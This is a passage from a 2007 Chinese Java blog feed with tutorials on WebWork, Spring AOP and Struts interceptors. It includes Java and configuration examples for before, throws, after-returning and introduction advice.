<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#000066>return</font></span></span><span> SUCCESS;</span></font></font></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">}</font></font></span></pre>
</div>
<p><span><font face=Century>ex01-result.vm</font></span><span>：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;html&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;head&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;title&gt;WebWork Tutorial - Lesson 5 - Example 1&lt;/title&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/head&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;body&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">#set ($ses = $req.getSession())</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;p&gt;&lt;b&gt;${ses.getAttribute('greeting')}!&lt;/b&gt;&lt;/p&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/body&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/html&gt;</font></font></span></pre>
</div>
<p><span><font face=Century>Interceptor</font></span><span>类要扩展</span><span><font face=Century>com.opensymphony.xwork.interceptor.Interceptor</font></span><span>接口：</span><span><font face=Century>init()</font></span><span>在</span><span><font face=Century>Interceptor</font></span><span>初始化时调用；</span><span><font face=Century>destroy()</font></span><span>在销毁时调用；</span><span><font face=Century>intercept(ActionInvocation invocation)</font></span><span>是处理的中心。</span></p>
<p><span><font face=Century>invocation.invoke()</font></span><span>用来调用</span><span><font face=Century>Interceptor</font></span><span>堆中下一个</span><span><font face=Century>Interceptor</font></span><span>，或是</span><span><font face=Century>Action</font></span><span>（如果没有的话）。因此，我们完全可以绕开</span><span><font face=Century>Action</font></span><span>而返回结果（不执行</span><span><font face=Century>Action</font></span><span>）。</span></p>
<p><span>上面的例子是在</span><span><font face=Century>Action</font></span><span>执行之前调用，如果要在</span><span><font face=Century>Action</font></span><span>执行之后调用</span><span><font face=Century>Interceptor</font></span><span>，只要将执行代码放在</span><span><font face=Century>invocation.invoke()</font></span><span>之后。</span></p>
<p><span><font face=Century>WebWork</font></span><span>提供一个实现这种方式的抽象类</span><span><font face=Century>com.opensymphony.xwork.interceptor.AroundInterceptor</font></span><span>，你只要实现它的</span><span><font face=Century>before(ActionInvocation invocation)</font></span><span>和</span><span><font face=Century> after(ActionInvocation dispatcher, String result)</font></span><span>方法就可以了。</span></p>
<br>
<img src ="http://www.blogjava.net/junky/aggbug/126718.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-06-28 09:38 <a href="http://www.blogjava.net/junky/archive/2007/06/28/126718.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>WebWork教程- Interceptor(拦截器)</title><link>http://www.blogjava.net/junky/archive/2007/06/28/126717.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Thu, 28 Jun 2007 01:37:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/06/28/126717.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/126717.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/06/28/126717.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/126717.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/126717.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: WebWork教程- Interceptor(拦截器)Interceptor（拦截器）将Action共用的行为独立出来，在Action执行前后运行。这也就是我们所说的AOP（Aspect Oriented Programming，面向切面编程），它是分散关注的编程方法，它将通用需求功能从不相关类之中分离出来；同时，能够使得很多类共享一个行为，一旦行为发生变化，不必修改很多类，只要修改这个行为就...&nbsp;&nbsp;<a href='http://www.blogjava.net/junky/archive/2007/06/28/126717.html'>阅读全文</a><img src ="http://www.blogjava.net/junky/aggbug/126717.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-06-28 09:37 <a href="http://www.blogjava.net/junky/archive/2007/06/28/126717.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Spring interceptor</title><link>http://www.blogjava.net/junky/archive/2007/06/28/126716.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Thu, 28 Jun 2007 01:36:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/06/28/126716.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/126716.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/06/28/126716.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/126716.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/126716.html</trackback:ping><description><![CDATA[<p align=left><span>1&nbsp;Spring的通知类型</span></p>
<p align=left><span>现在让我们看看<span>Spring AOP</span>是如何处理通知的。</span></p>
<p align=left><a name=d0e2779></a><st1:chsdate w:st="on" isrocdate="False" islunardate="False" day="30" month="12" year="1899"><span><span><font size=5>1</font></span>.1</span></st1:chsdate><span>.&nbsp;通知的生命周期</span></p>
<p align=left><span>Spring</span><span>的通知可以跨越多个被通知对象共享，或者每个被通知对象有自己的通知。这分别对应 <em><span>per-class</span></em>或<em><span>per-instance</span></em><span> </span>通知。</span></p>
<p align=left><span>Per-class</span><span>通知使用最为广泛。它适合于通用的通知，如事务<span>adisor</span>。它们不依赖被代理 的对象的状态，也不添加新的状态。它们仅仅作用于方法和方法的参数。</span></p>
<p align=left><span>Per-instance</span><span>通知适合于导入，来支持混入（<span>mixin</span>）。在这种情况下，通知添加状态到 被代理的对象。</span></p>
<p align=left><span>可以在同一个<span>AOP</span>代理中混合使用共享和<span>per-instance</span>通知。</span></p>
<p align=left><a name=aop-introduction-advice-types></a><st1:chsdate w:st="on" isrocdate="False" islunardate="False" day="30" month="12" year="1899"><span><span><font size=5>1</font></span>.2</span></st1:chsdate><span>.&nbsp;Spring中通知类型</span></p>
<p align=left><span>Spring</span><span>提供几种现成的通知类型并可扩展提供任意的通知类型。让我们看看基本概念和标准的通知类型。</span></p>
<p align=left><a name=d0e2801></a><st1:chsdate w:st="on" isrocdate="False" islunardate="False" day="30" month="12" year="1899"><span><span><font size=5>1</font></span>.2</span></st1:chsdate><span>.1.&nbsp;Interception around advice</span></p>
<p align=left><span>Spring</span><span>中最基本的通知类型是<em><span>interception around advice </span></em><span>.</span></span></p>
<p align=left><span>Spring</span><span>使用方法拦截器的<span>around</span>通知是和<span>AOP</span>联盟接口兼容的。实现<span>around</span>通知的 类需要实现接口<span>MethodInterceptor</span>：</span></p>
<p align=left><span>public interface MethodInterceptor extends Interceptor {</span></p>
<p align=left><span>&nbsp;</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>Object invoke(MethodInvocation invocation) throws Throwable;</span></p>
<p align=left><span>}</span></p>
<p align=left><em><span>invoke()</span></em><span>方法的<em><span>MethodInvocation</span></em><span> </span>参数暴露将被调用的方法、目标连接点、<span>AOP</span>代理和传递给被调用方法的参数。 <em><span>invoke()</span></em>方法应该返回调用的结果：连接点的返回值。</span></p>
<p align=left><span>一个简单的<em><span>MethodInterceptor</span></em>实现看起来如下<span>:</span></span></p>
<p align=left><span>public class DebugInterceptor implements MethodInterceptor {</span></p>
<p align=left>&nbsp;</p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>public Object invoke(MethodInvocation invocation) throws Throwable {</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>System.out.println("Before: invocation=[" + invocation + "]");</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Object rval = invocation.proceed();</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>System.out.println("Invocation returned");</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>return rval;</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p align=left><span>}</span></p>
<p align=left><span>注意<span>MethodInvocation</span>的<em><span>proceed()</span></em>方法的调用。这个调用会应用到目标连接点的拦截器链中的每一个拦截器。大部分拦截器会调用这个方法，并返回它的返回值。但是， 一个<span>MethodInterceptor</span>，和任何<span>around</span>通知一样，可以返回不同的值或者抛出一个异常，而 不调用<span>proceed</span>方法。但是，没有好的原因你要这么做。</span></p>
<p align=left><em><span>MethodInterceptor</span></em><em><span>提供了和其他<span>AOP</span>联盟的兼容实现的交互能力。这一节下面 要讨论的其他的通知类型实现了<span>AOP</span>公共的概念，但是以<span>Spring</span>特定的方式。虽然使用特定 通知类型有很多优点，但如果你可能需要在其他的<span>AOP</span>框架中使用，请坚持使用<span>MethodInterceptor around</span>通知类型。注意目前切入点不能和其它框架交互操作，并且<span>AOP</span>联盟目前也没有定义切入 点接口。</span></em></p>
<p align=left><a name=d0e2837></a><st1:chsdate w:st="on" isrocdate="False" islunardate="False" day="30" month="12" year="1899"><span><span><font size=5>1</font></span>.2</span></st1:chsdate><span>.2.&nbsp;Before通知</span></p>
<p align=left><span>Before通知</span><span>是一种简单的通知类型。 这个通知不需要一个<span>MethodInvocation</span>对象，因为它只在进入一个方法前被调用。</span></p>
<p align=left><span>Before</span><span>通知的主要优点是它不需要调用<span>proceed() </span>方法， 因此没有无意中忘掉继续执行拦截器链的可能性。</span></p>
<p align=left><span>MethodBeforeAdvice</span><span>接口如下所示。<span> (Spring</span>的<span>API</span>设计允许成员变量的<span>before</span>通知，虽然一般的对象都可以应用成员变量拦截，但<span>Spring </span>有可能永远不会实现它）。</span></p>
<p align=left><span>public interface MethodBeforeAdvice extends BeforeAdvice {</span></p>
<p align=left>&nbsp;</p>
<p align=left><span>&nbsp;<span>&nbsp;&nbsp; </span>void before(Method m, Object[] args, Object target) throws Throwable;</span></p>
<p align=left><span>}</span></p>
<p align=left><span>注意返回类型是<span>void</span>。<span> Before</span>通知可以在连接点执行之前 插入自定义的行为，但是不能改变返回值。如果一个<span>before</span>通知抛出一个异常，这将中断拦截器 链的进一步执行。这个异常将沿着拦截器链后退着向上传播。如果这个异常是<span>unchecked</span>的，或者 出现在被调用的方法的签名中，它将会被直接传递给客户代码；否则，它将被<span>AOP</span>代理包装到一个<span>unchecked </span>的异常里。</span></p>
<p align=left><span>下面是<span>Spring</span>中一个<span>before</span>通知的例子，这个例子计数所有正常返回的方法：</span></p>
<p align=left><span>public class CountingBeforeAdvice implements MethodBeforeAdvice {</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>private int count;</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>public void before(Method m, Object[] args, Object target) throws Throwable {</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>++count;</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p align=left>&nbsp;</p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>public int getCount() { </span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>return count; </span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p align=left><span>}</span></p>
<p align=left><em><span>Before</span></em><em><span>通知可以被用于任何类型的切入点。</span></em></p>
<p align=left><a name=d0e2869></a><st1:chsdate w:st="on" isrocdate="False" islunardate="False" day="30" month="12" year="1899"><span><span><font size=5>1</font></span>.2</span></st1:chsdate><span>.3.&nbsp;Throws通知</span></p>
<p align=left><span>如果连接点抛出异常，<span>Throws</span>通知 在连接点返回后被调用。<span>Spring</span>提供强类型的<span>throws</span>通知。注意这意味着<span> org.springframework.aop.ThrowsAdvice</span>接口不包含任何方法： 它是一个标记接口，标识给定的对象实现了一个或多个强类型的<span>throws</span>通知方法。这些方法形式 如下：</span></p>
<p align=left><span>afterThrowing([Method], [args], [target], subclassOfThrowable) </span></p>
<p align=left><span>只有最后一个参数是必需的。这样从一个参数到四个参数，依赖于通知是否对方法和方法 的参数感兴趣。下面是<span>throws</span>通知的例子。</span></p>
<p align=left><span>如果抛出<span>RemoteException</span>异常（包括子类）<span>, </span>这个通知会被调用</span></p>
<p align=left><span>public&nbsp;class RemoteThrowsAdvice implements ThrowsAdvice {</span></p>
<p align=left>&nbsp;</p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>public void afterThrowing(RemoteException ex) throws Throwable {</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>// Do something with remote exception</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p align=left><span>}</span></p>
<p align=left><span>如果抛出<em><span>ServletException</span></em>异常， 下面的通知会被调用。和上面的通知不一样，它声明了四个参数，所以它可以访问被调用的方法，方法的参数和目标对象<span>:</span></span></p>
<p align=left><span>public static class ServletThrowsAdviceWithArguments implements ThrowsAdvice {</span></p>
<p align=left>&nbsp;</p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>public void afterThrowing(Method m, Object[] args, Object target, ServletException ex) {</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>// Do something will all arguments</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p align=left><span>}</span></p>
<p align=left><span>最后一个例子演示了如何在一个类中使用两个方法来同时处理<span> RemoteException</span>和<span>ServletException </span>异常。任意个数的<span>throws</span>方法可以被组合在一个类中。</span></p>
<p align=left><span>public static class CombinedThrowsAdvice implements ThrowsAdvice {</span></p>
<p align=left>&nbsp;</p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>public void afterThrowing(RemoteException ex) throws Throwable {</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>// Do something with remote exception</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p align=left><span>&nbsp;</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>public void afterThrowing(Method m, Object[] args, Object target, ServletException ex) {</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>// Do something will all arguments</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p align=left><span>}</span></p>
<p align=left><em><span>Throws</span></em><em><span>通知可被用于任何类型的切入点。</span></em></p>
<p align=left><a name=d0e2910></a><st1:chsdate w:st="on" isrocdate="False" islunardate="False" day="30" month="12" year="1899"><span><span><font size=5>1</font></span>.2</span></st1:chsdate><span>.4.&nbsp;After Returning通知</span></p>
<p align=left><span>Spring</span><span>中的<span>after returning</span>通知必须实现 <em><span>org.springframework.aop.AfterReturningAdvice</span></em><span> </span>接口，如下所示：</span></p>
<p align=left><span>public interface AfterReturningAdvice extends Advice {</span></p>
<p align=left>&nbsp;</p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>void afterReturning(Object returnValue, Method m, Object[] args, Object target) </span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>throws Throwable;</span></p>
<p align=left><span>}</span></p>
<p align=left><span>After returning</span><span>通知可以访问返回值（不能改变）、被调用的方法、方法的参数和目标对象。</span></p>
<p align=left><span>下面的<span>after returning</span>通知统计所有成功的没有抛出异常的方法调用：</span></p>
<p align=left><span>public class CountingAfterReturningAdvice implements AfterReturningAdvice {</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>private int count;</span></p>
<p align=left>&nbsp;</p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>public void afterReturning(Object returnValue, Method m, Object[] args, Object target) throws Throwable {</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>++count;</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p align=left>&nbsp;</p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>public int getCount() {</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>return count;</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p align=left><span>}</span></p>
<p align=left><span>这方法不改变执行路径。如果它抛出一个异常，这个异常而不是返回值将被沿着拦截器链向上抛出。</span></p>
<p align=left><em><span>After returning</span></em><em><span>通知可被用于任何类型的切入点。</span></em></p>
<p align=left><a name=d0e2930></a><st1:chsdate w:st="on" isrocdate="False" islunardate="False" day="30" month="12" year="1899"><span><span><font size=5>1</font></span>.2</span></st1:chsdate><span>.5.&nbsp;Introduction通知</span></p>
<p align=left><span>Spring</span><span>将<span>introduction</span>通知看作一种特殊类型的拦截通知。</span></p>
<p align=left><span>Introduction</span><span>需要实现<span>IntroductionAdvisor, </span>和<span>IntroductionInterceptor</span>接口：</span></p>
<p align=left><span>public interface IntroductionInterceptor extends MethodInterceptor {</span></p>
<p align=left>&nbsp;</p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>boolean implementsInterface(Class intf);</span></p>
<p align=left><span>}</span></p>
<p align=left><span>继承自<span>AOP</span>联盟<span>MethodInterceptor</span>接口的<span> invoke()</span>方法必须实现导入：也就是说，如果被调用的方法是在 导入的接口中，导入拦截器负责处理这个方法调用，它不能调用<span>proceed() </span>方法。</span></p>
<p align=left><span>Introduction</span><span>通知不能被用于任何切入点，因为它只能作用于类层次上，而不是方法。你可以只用<span>InterceptionIntroductionAdvisor</span>来实现导入通知，它有下面的方法：</span></p>
<p align=left><span>public interface InterceptionIntroductionAdvisor extends InterceptionAdvisor {</span></p>
<p align=left>&nbsp;</p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>ClassFilter getClassFilter();</span></p>
<p align=left>&nbsp;</p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>IntroductionInterceptor getIntroductionInterceptor();</span></p>
<p align=left>&nbsp;</p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>Class[] getInterfaces();</span></p>
<p align=left><span>}</span></p>
<p align=left><span>这里没有<span>MethodMatcher</span>，因此也没有和导入通知关联的 切入点。只有类过滤是合乎逻辑的。</span></p>
<p align=left><span>getInterfaces()</span><span>方法返回<span>advisor</span>导入的接口。</span></p>
<p align=left><span>让我们看看一个来自<span>Spring</span>测试套件中的简单例子。我们假设想要导入下面的接口到一个 或者多个对象中<span>:</span></span></p>
<p align=left><span>public interface Lockable {</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>void lock();</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>void unlock();</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>boolean locked();</span></p>
<p align=left><span>}</span></p>
<p align=left><span>这个例子演示了一个<span>mixin</span>。我们想要能够 将被通知对象类型转换为<span>Lockable</span>，不管它们的类型，并且调用<span>lock</span>和<span>unlock</span>方法。如果我们调用<span> lock()</span>方法，我们希望所有<span>setter</span>方法抛出<span>LockedException</span>异常。这样我们能添加一个方面使的对象不可变，而它们不需要知道这一点：这是一个很好的<span>AOP</span>例 子。</span></p>
<p align=left><span>首先，我们需要一个做大量转化的<span>IntroductionInterceptor</span>。 在这里，我们继承<span> org.springframework.aop.support.DelegatingIntroductionInterceptor </span>实用类。我们可以直接实现<span>IntroductionInterceptor</span>接口，但是大多数情况下<span> DelegatingIntroductionInterceptor</span>是最合适的。</span></p>
<p align=left><span>DelegatingIntroductionInterceptor</span><span>的设计是将导入 委托到真正实现导入接口的接口，隐藏完成这些工作的拦截器。委托可以使用构造方法参数 设置到任何对象中；默认的委托就是自己（当无参数的构造方法被使用时）。这样在下面的例子里，委托是<span>DelegatingIntroductionInterceptor</span>的子类<span> LockMixin</span>。给定一个委托（默认是自身）的<span> DelegatingIntroductionInterceptor</span>实例寻找被这个委托（而不 是<span>IntroductionInterceptor</span>）实现的所有接口，并支持它们中任何一个导入。子类如<span> LockMixin</span>也可能调用<span>suppressInterflace(Class intf) </span>方法隐藏不应暴露的接口。然而，不管<span>IntroductionInterceptor </span>准备支持多少接口，<span>IntroductionAdvisor</span>将控制哪个接口将被实际 暴露。一个导入的接口将隐藏目标的同一个接口的所有实现。</span></p>
<p align=left><span>这样，<span>LockMixin</span>继承<span>DelegatingIntroductionInterceptor </span>并自己实现<span>Lockable</span>。父类自动选择支持导入的<span>Lockable</span>，所以我们不需要指定它。用这种方法我们可以导入任意数量的接口。</span></p>
<p align=left><span>注意<span>locked</span>实例变量的使用。这有效地添加额外的状态到目标 对象。</span></p>
<p align=left><span>public class LockMixin extends DelegatingIntroductionInterceptor </span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>implements Lockable {</span></p>
<p align=left>&nbsp;</p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>private boolean locked;</span></p>
<p align=left>&nbsp;</p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>public void lock() {</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>this.locked = true;</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p align=left>&nbsp;</p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>public void unlock() {</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>this.locked = false;</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p align=left>&nbsp;</p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>public boolean locked() {</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>return this.locked;</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p align=left>&nbsp;</p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>public Object invoke(MethodInvocation invocation) throws Throwable {</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>if (locked() &amp;&amp; invocation.getMethod().getName().indexOf("set") == 0)</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>throw new LockedException();</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>return super.invoke(invocation);</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p align=left>&nbsp;</p>
<p align=left><span>}</span></p>
<p align=left><span>通常不要需要改写<span>invoke()</span>方法：实现<span> DelegatingIntroductionInterceptor</span>就足够了，如果是导入的方法，<span> DelegatingIntroductionInterceptor</span>实现会调用委托方法， 否则继续沿着连接点处理。在现在的情况下，我们需要添加一个检查：在上锁状态下不能调用<span>setter</span>方法。</span></p>
<p align=left><span>所需的导入<span>advisor</span>是很简单的。只有保存一个独立的<span> LockMixin</span>实例，并指定导入的接口，在这里就是<span> Lockable</span>。一个稍微复杂一点例子可能需要一个导入拦截器（可以 定义成<span>prototype</span>）的引用：在这种情况下，<span>LockMixin</span>没有相关配置，所以我们简单地 使用<span>new</span>来创建它。</span></p>
<p align=left><span>public class LockMixinAdvisor extends DefaultIntroductionAdvisor {</span></p>
<p align=left>&nbsp;</p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>public LockMixinAdvisor() {</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>super(new LockMixin(), Lockable.class);</span></p>
<p align=left><span><span>&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p align=left><span>}</span></p>
<p align=left><span>我们可以非常简单地使用这个<span>advisor</span>：它不需要任何配置。（但是，有一点 <em>是</em>必要的：就是不可能在没有<em><span>IntroductionAdvisor</span></em><span> </span>的情况下使用<span>IntroductionInterceptor</span>。） 和导入一样，通常<span> advisor</span>必须是针对每个实例的，并且是有状态的。我们会有不同的的<span>LockMixinAdvisor </span>每个被通知对象，会有不同的<span>LockMixin</span>。<span> advisor</span>组成了被通知对象的状态的一部分。</span></p>
<p align=left><span>和其他<span>advisor</span>一样，我们可以使用<span> Advised.addAdvisor() </span>方法以编程地方式使用这种<span>advisor</span>，或者在<span>XML</span>中配置（推荐这种方式）。 下面将讨论所有代理创建，包括<span>&#8220;</span>自动代理创建者<span>&#8221;</span>，选择代理创建以正确地处理导入和有状态的混入。</span></p>
<p><span><font face="Times New Roman" size=3>&nbsp;</font></span></p>
<p><span><font face="Times New Roman" size=3>&nbsp;</font></span></p>
<p><span><font size=3>参考资料：</font></span></p>
<p><font face="Times New Roman"><span><span><font size=3>1．</font>&nbsp;</span></span><span><a href="http://www.javaresearch.org/article/showarticle.jsp?column=23&amp;thread=41315"><font size=3>http://www.javaresearch.org/article/showarticle.jsp?column=23&amp;thread=41315</font></a></span></font></p>
<p><font face="Times New Roman"><span><span><font size=3>2．</font>&nbsp;</span></span><span><a href="http://tech.ccidnet.com/art/1112/20051114/371959_5.html"><font size=3>http://tech.ccidnet.com/art/1112/20051114/371959_5.html</font></a></span></font></p>
<p><font face="Times New Roman"><span><span><font size=3>3．</font>&nbsp;</span></span><span><a href="http://www.7dspace.com/doc/21/0603/20063305365394884.htm"><font size=3>http://www.7dspace.com/doc/21/0603/20063305365394884.htm</font></a></span></font></p>
<p><font face="Times New Roman"><span><span><font size=3>4．</font>&nbsp;</span></span><span><a href="http://barton131420.cnblogs.com/articles/280664.html"><font size=3>http://barton131420.cnblogs.com/articles/280664.html</font></a></span></font></p>
<p><font face="Times New Roman"><span><span><font size=3>5．</font>&nbsp;</span></span><span><a href="http://www.opentown.info/bbs/viewtopic.php?t=7"><font size=3>http://www.opentown.info/bbs/viewtopic.php?t=7</font></a></span></font></p>
<p><span><font face="Times New Roman" size=3>&nbsp;</font></span></p>
<img src ="http://www.blogjava.net/junky/aggbug/126716.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-06-28 09:36 <a href="http://www.blogjava.net/junky/archive/2007/06/28/126716.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Strust拦截器</title><link>http://www.blogjava.net/junky/archive/2007/06/28/126715.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Thu, 28 Jun 2007 01:35:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/06/28/126715.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/126715.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/06/28/126715.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/126715.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/126715.html</trackback:ping><description><![CDATA[1.概述 <br><br>Strust拦截器改进了Strust对Action的操作能力,增加了拦截器特性和IoC特性. <br><br>通过分析另外的WEB框架,比如:WebWork 2/XWork,Strust拦截器的目的是把其它WEB框架最好的特性整合到STRUTS中.Strust拦截器支持struts1.1, 按照BSD许可发行. <br><br>2.特点 <br>Action 拦截 <br>WW2 操作风格 <br>支持 regular 和 Tiles <br>包括使用Strust拦截器修改过的Strust例子 <br><br><br>3.使用方法: <br><br>把Strust拦截器配置为一个struts插件,就可以在需要的任何地方调用. <br><br><br>4.配置struts插件: <br><br>把Strust拦截器配置为一个struts插件,只需要修改 Struts 配置文件就可以了,修改后的配置文件.一般看起来像这种样子: <br><br>&lt;plug-in className="net.sf.struts.saif.SAIFPlugin"&gt; <br>&lt;set-property property="interceptor-config" value="/WEB-INF/interceptor-config.xml" /&gt; <br>&lt;/plug-in&gt; <br><br><br>5.拦截器的配置 <br><br>在interceptor-config.xml文件中定义了所有拦截(当然可以是另外的任何文件名). 这个文件包含拦截定义和它们应该如何被使用. <br><br>从两个方面来定义 Struts Actions拦截: <br>globally and by Action. When the Action is requested, first any global interceptors will be applied, then Action-specific interceptors. <br><br>The following interceptors are included in SAIF: <br><br>Included interceptors Class Description <br>net.sf.struts.saif.ComponentInterceptor Performs inversion of control functionality. Sets any components the Action has defined it needs. <br><br>This is an example of an interceptor configuration file: <br><br>&lt;interceptor-config&gt; <br>&lt;interceptor name="componentInterceptor" type="net.sf.struts.saif.ComponentInterceptor"/&gt; 